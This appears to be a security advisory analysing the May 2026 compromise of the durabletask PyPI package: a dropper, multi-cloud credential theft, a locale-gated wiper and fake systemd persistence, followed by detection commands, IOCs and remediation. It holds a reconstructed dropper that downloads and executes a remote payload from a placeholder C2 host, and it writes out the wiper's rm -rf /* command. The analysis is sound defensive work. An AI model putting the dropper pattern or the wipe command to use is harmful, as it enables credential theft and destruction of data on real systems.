May 2026 has been the month the Mini Shai-Hulud campaign moved from JavaScript into Python and from credential theft into destruction. Eight days after the TanStack npm compromise, the same threat cluster — tracked as TeamPCP — turned its attention to PyPI and to a package with Microsoft's name on it. On 19 May 2026, three malicious versions of durabletask, the Python SDK for the Durable Task Framework, were uploaded to PyPI inside a 35-minute window. The payload is faster and meaner than the npm variant: it harvests credentials from AWS, Azure, GCP, and Kubernetes in under four seconds, and it carries a locale-gated wiper that can issue rm -rf /* on a coin-flip probability against targeted systems.
This analysis is built from StepSecurity's and Wiz's reconstructions, the PyPI release history, and cross-referenced TeamPCP infrastructure. Some payload internals are interpretation of the published deobfuscation. We flag reported versus inferred throughout, and we note one open disagreement in the reporting about the wiper's targeting logic. The lesson here is not "audit your Python dependencies" — every team already knows that. It is that a directly-uploaded malicious version of a Microsoft-branded SDK was live and installable for the duration of an incident-response cycle, and the payload was designed to finish its work before any human could read a single log line.
TL;DR
- On 19 May 2026, three malicious
durabletaskversions (1.4.1, 1.4.2, 1.4.3) were uploaded to PyPI between roughly 16:19 and 16:54 UTC — a 35-minute window. The last clean release was 1.4.0 on 8 April 2026. - A 14-line dropper fetched a 28,703-byte payload (
rope.pyz) that steals credentials from AWS (19 regions), Azure, GCP, Kubernetes, password managers (1Password, Bitwarden, pass, gopass), SSH keys, Docker configs, Terraform state, and over 90 developer tool configs. - StepSecurity reports the full chain from import to credential theft completes in under four seconds.
- A wiper module (
roulette.py) performs a locale/timezone gating check and, on a 1-in-6 match, executesrm -rf /*; otherwise it installs persistence via a fake PostgreSQL systemd service. There is conflicting reporting on which locale is targeted (see "What we know we don't know"). - The attack is attributed to TeamPCP and the broader Mini Shai-Hulud campaign, based on the secondary C2 domain
t.m-kosche[.]commatching infrastructure from the TanStack, Mistral AI, LiteLLM, and @antv compromises. - Monday-morning actions: pin
durabletask<=1.4.0, hunt for/tmp/managed.pyzandpgsql-monitor.service, rotate all cloud credentials reachable from any host that installed 1.4.1-1.4.3, and block the listed C2 IOCs.
What happened
The Durable Task Framework is a Microsoft-originated library for writing durable, stateful orchestrations; the durabletask PyPI package is the Python SDK for it. It is the kind of dependency that lands in serverless orchestration code, internal automation, and cloud workflow tooling — exactly the environments where high-value cloud credentials sit close at hand.
According to StepSecurity, three malicious versions were published directly to PyPI on 19 May 2026 within a 35-minute window (1.4.1 through 1.4.3), following a clean 1.4.0 release from 8 April. "Directly to PyPI" is the important phrase: this was a registry-side publish of malicious artifacts, not a compromise of the upstream source repository. Whoever pushed these versions had publish rights to the PyPI project.
Wiz and StepSecurity both attribute the compromise to TeamPCP and link it to the Mini Shai-Hulud campaign that hit TanStack npm packages, the Mistral AI PyPI package, LiteLLM, and the @antv npm org earlier in May. The technical basis for attribution is infrastructure overlap: the secondary C2 domain t.m-kosche[.]com observed in the durabletask payload matches infrastructure seen in the earlier May 2026 compromises.
How the attack worked
The dropper
The malicious versions shipped a tiny dropper — StepSecurity counts 14 lines of Python — whose only job is to fetch and execute the real payload. Keeping the visible package code short is a deliberate evasion choice: a 14-line addition to a release is far less likely to trip a reviewer or a naive static scanner than a multi-hundred-KB blob.
# Illustrative reconstruction — NOT functional exploit code.
# The dropper pattern: fetch a remote .pyz, write to /tmp, exec it.
import urllib.request, runpy, tempfile, os
_PAYLOAD = "managed.pyz" # observed at /tmp/managed.pyz
_p = os.path.join(tempfile.gettempdir(), _PAYLOAD)
urllib.request.urlretrieve("https://<c2>/rope.pyz", _p) # 28,703-byte payload
runpy.run_path(_p) # second stage executes on import
The fetched payload, rope.pyz, is 28,703 bytes (SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce). Because the dropper runs at import time, simply importing the compromised SDK — not even calling it — is enough to detonate the chain.
Multi-cloud credential harvesting
The second stage is a broad, fast credential collector. StepSecurity's analysis enumerates the targets:
- AWS: environment variables, EC2 instance metadata, and
~/.aws/credentials, sweeping across 19 regions. - Azure: client secrets, certificates, CLI cache, and managed identity tokens.
- GCP: service-account JSON and JWT-based authentication material.
- Kubernetes: kubeconfig parsing and enumeration of secrets across all namespaces.
- Password managers: 1Password, Bitwarden,
pass, andgopass. - Everything else a developer leaves lying around: SSH keys, Docker configs, Terraform state, and shell histories, plus "over 90 developer tool configurations."
StepSecurity reports the whole sequence from import to credential theft completes in under four seconds. That speed is the point. Detonate-on-import plus sub-four-second exfiltration means that by the time a monitoring alert fires, the credentials are already gone. The defensive value of post-hoc detection collapses against this timing.
The wiper and the persistence fallback
The most aggressive component is a wiper module (roulette.py). It performs a locale/timezone gating check and, on a match, plays a 1-in-6 "roulette": on the losing roll it executes rm -rf /*. When the gating check does not match, or the roll lands elsewhere, it falls through to persistence instead — installing a fake PostgreSQL systemd service (pgsql-monitor.service) to maintain a foothold.
Locale-gated destruction is a hallmark of geopolitically-motivated wipers: the operator narrows catastrophic impact to a chosen region while quietly persisting everywhere else. Whether durabletask's gate targeted a specific national locale is where the public reporting diverges — see the final section.
What detection looks like
Pinned-version evidence in lockfiles and environments. Any environment that resolved durabletask to 1.4.1, 1.4.2, or 1.4.3 is suspect. Audit requirements*.txt, poetry.lock, Pipfile.lock, uv.lock, and live virtualenvs.
# Find pinned malicious durabletask versions across a repo tree.
grep -RInE 'durabletask[=<>~!]*=?(1\.4\.[123])' \
--include='requirements*.txt' \
--include='*.lock' --include='Pipfile*' .
Host-level IOCs. The payload and its persistence are concrete on disk and in the service list:
/tmp/managed.pyz(staged payload) and/tmp/rope.pyz.- A
systemdunit namedpgsql-monitor.servicethat you did not install. - Payload SHA-256
069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce.
# Quick host triage for the durabletask persistence and payload artifacts.
test -f /tmp/managed.pyz && echo "FOUND /tmp/managed.pyz"
systemctl list-unit-files | grep -i 'pgsql-monitor' && echo "FOUND fake PG service"
Network IOCs. Block and alert on traffic to the published infrastructure:
- Primary C2:
check.git-service[.]com - Secondary C2:
t.m-kosche[.]com(shared TeamPCP infrastructure) - IP:
160.119.64.3(AS7489, HostUS)
Cloud-side blast-radius hunting. Because the payload reads instance metadata and config files, the more reliable detection is often in the cloud audit log: unexpected sts:GetCallerIdentity, cross-region API calls from a new source, or enumeration of Kubernetes secrets shortly after a deploy that installed the bad version.
What to do Monday morning
- Pin to safe and rebuild clean. Constrain
durabletask<=1.4.0everywhere and rebuild from clean lockfiles. Do not simplypip install --upgrade; you want a deterministic resolve that excludes 1.4.1-1.4.3. - Treat any host that imported the bad version as fully compromised. Detonation is import-time and exfiltration is sub-four-second. Rotate every cloud credential, SSH key, and password-manager-stored secret that was reachable from that host. This includes AWS keys, Azure client secrets, GCP service accounts, and Kubernetes service-account tokens.
- Hunt for the wiper's persistence and check for destruction. Look for
pgsql-monitor.serviceand/tmp/managed.pyz. On any host where the wiper may have rolled, treat data integrity as unverified and restore from known-good backups rather than trusting the live filesystem. - Block the C2 IOCs at egress:
check.git-service[.]com,t.m-kosche[.]com, and160.119.64.3. - Sweep developer laptops, not just servers. The 90+ developer-tool config targets and password-manager theft mean engineers who installed the package locally need endpoint credential rotation.
- Add an admission/policy gate that blocks installs of registry versions published inside a short window of bulk releases, and require provenance/attestation on first-party-looking SDKs before they enter your build.
Why this keeps happening
PyPI, like every public registry, publishes first and detects later. A project with valid publish rights can push a release that is live and installable in seconds, and the registry's malware scanning runs against an already-public artifact. The durabletask window — three malicious versions in 35 minutes — sat inside the gap between publish and takedown, and the payload was engineered specifically to win that race: small visible dropper to evade review, import-time execution to catch the victim during a routine build, and sub-four-second exfiltration to beat any alert.
The deeper structural issue is that a Microsoft-branded SDK name buys implicit trust. Engineers and scanners alike weight a first-party-looking package as low risk, which is exactly why directly-uploading malicious versions under a trusted name is such an effective tactic. Trust in the name is not trust in the artifact, and most pipelines do not verify the difference.
The structural fix
The honest framing is dwell-time and blast-radius reduction, not prevention. A malicious-package feed that pulls from multiple research vendors plus OSV surfaces a known-bad durabletask version in your inventory in minutes, which is the difference between rotating credentials before the attacker pivots and reading about it in a postmortem. Reachability analysis confirms whether the compromised import path is actually exercised in your services so responders triage the genuinely-exposed deployments first. A maintained SBOM plus SLSA provenance verification at the package-proxy layer lets you reject artifacts whose build origin does not match the project's expected publishing identity — the control that directly counters "directly uploaded under a trusted name." None of this stops PyPI from accepting the upstream publish; it compresses the window between live-and-malicious and known-and-contained.
What we know we don't know
- Wiper targeting locale. Reporting conflicts. StepSecurity describes the
roulette.pywiper as gating on Israeli-locale systems before the 1-in-6 destructive roll. Separate coverage of the same campaign described a payload that skips Russian-locale systems. These may describe different modules, different campaign variants, or an error in one source. We report both and assert neither as settled. - Initial access to the PyPI project. Whether publish rights were obtained via a phished maintainer, a leaked token, or a trusted-publishing misconfiguration is not public.
- Real-world destruction count. How many systems actually hit the
rm -rf /*branch versus only received persistence is not reported. - Total install count of versions 1.4.1-1.4.3 during the live window is not published.
References
- StepSecurity: Microsoft's durabletask PyPI Package Compromised in Supply Chain Attack
- Wiz: durabletask: TeamPCP's Latest PyPi Compromise
- Windows Forum: Malicious durabletask on PyPI (v1.4.1–1.4.3): Linux wiper, cloud credential theft
- Truesec: Malicious PyPI Package - LiteLLM Supply Chain Compromise
- LiteLLM: Mistral AI PyPI Supply Chain Attack — LiteLLM Not Impacted
Internal reading: